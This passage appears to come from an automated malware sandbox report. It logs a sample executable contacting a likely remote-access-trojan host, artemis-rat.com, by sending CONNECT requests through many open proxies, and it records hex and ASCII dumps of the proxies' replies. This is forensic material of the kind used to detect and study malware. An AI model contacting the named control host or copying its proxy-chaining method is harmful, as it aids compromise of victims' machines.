2c 20 73 6f 20 20 20 20 20 20 49 45 20 77 69 6c 6c 20 62 65 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 70 6c 61 79 20 69 74 2e 20 43 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 20 20 20 20 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 2e 2d 2d 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>Tor is not an HTTP Proxy</title></head><body><h1>Tor is not an HTTP Proxy</h1><p>It appears you have configured your web browser to use Tor as an HTTP proxy.This is not correct: Tor is a SOCKS proxy, not an HTTP proxy.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.... Plus this comment, to make the body response more than 512 bytes, so IE will be willing to display it. Comment comment comment comment comment comment comment comment comment comment comment comment.--></p></body></html>
Mar 11, 2024 03:32:42.536922932 CET	755	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 6f 72 20 69 73 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 6f 72 20 69 73 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 54 6f 72 20 61 73 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 6f 72 20 69 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 21 2d 2d 20 50 6c 75 73 20 74 68 69 73 20 63 6f 6d 6d 65 6e 74 2c 20 74 6f 20 6d 61 6b 65 20 74 68 65 20 62 6f 64 79 20 72 65 73 70 6f 6e 73 65 20 6d 6f 72 65 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 73 6f 20 20 20 20 20 20 49 45 20 77 69 6c 6c 20 62 65 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 70 6c 61 79 20 69 74 2e 20 43 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 20 20 20 20 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 2e 2d 2d 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>Tor is not an HTTP Proxy</title></head><body><h1>Tor is not an HTTP Proxy</h1><p>It appears you have configured your web browser to use Tor as an HTTP proxy.This is not correct: Tor is a SOCKS proxy, not an HTTP proxy.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.... Plus this comment, to make the body response more than 512 bytes, so IE will be willing to display it. Comment comment comment comment comment comment comment comment comment comment comment comment.--></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1318	192.168.2.5	52080	162.241.50.179	53755	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.416896105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.405189037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1319	192.168.2.5	52831	199.116.114.11	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.417576075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1320	192.168.2.5	51983	62.171.169.37	58402	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.421966076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.514465094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.514730930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1321	192.168.2.5	52956	184.170.245.148	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.422822952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1322	192.168.2.5	53652	140.84.176.246	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.431906939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1323	192.168.2.5	53539	45.11.95.166	6004	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.435878038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.862637043 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1324	192.168.2.5	53653	140.84.176.246	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.437128067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1325	192.168.2.5	51858	148.66.130.53	7830	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.437954903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1326	192.168.2.5	53655	140.84.176.246	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.440387964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1327	192.168.2.5	53540	65.21.255.197	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.441498041 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:43.769501925 CET	75	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Length: 0
Mar 11, 2024 03:30:44.132849932 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1328	192.168.2.5	53656	140.84.176.246	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.443532944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1329	192.168.2.5	53582	104.16.107.206	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.453322887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.607558966 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1330	192.168.2.5	53600	104.23.107.172	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.460208893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.622806072 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1331	192.168.2.5	53541	45.233.2.1	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.477221012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1332	192.168.2.5	53613	172.67.14.237	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.477225065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.632417917 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1333	192.168.2.5	51909	193.30.13.18	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.477380991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.862407923 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1334	192.168.2.5	53542	47.74.226.8	5001	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.477448940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1335	192.168.2.5	53559	192.210.228.28	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.481389046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1336	192.168.2.5	53070	89.46.249.148	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.495727062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.592600107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.594937086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.701955080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.200769901 CET	228	IN	HTTP/1.0 502 Bad Gateway Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 32 3e 3c 68 33 3e 48 6f 73 74 20 4e 6f 74 20 46 6f 75 6e 64 20 6f 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 61 69 6c 65 64 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h2>502 Bad Gateway</h2><h3>Host Not Found or connection failed</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1337	192.168.2.5	53628	50.63.12.33	61464	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.495817900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1338	192.168.2.5	53578	154.205.152.96	9080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.507563114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.716461897 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1339	192.168.2.5	53573	38.162.10.164	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.507651091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.934410095 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1340	192.168.2.5	53543	103.216.49.151	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.512361050 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1341	192.168.2.5	51991	213.136.79.177	32930	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.517775059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.592648983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.594937086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.701955080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1342	192.168.2.5	52064	91.134.140.160	2572	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.520736933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.092535973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.702043056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.889789104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1343	192.168.2.5	51987	213.202.230.241	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.527832985 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.514467001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.514738083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.608267069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1344	192.168.2.5	53590	135.148.10.161	31696	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.531172037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
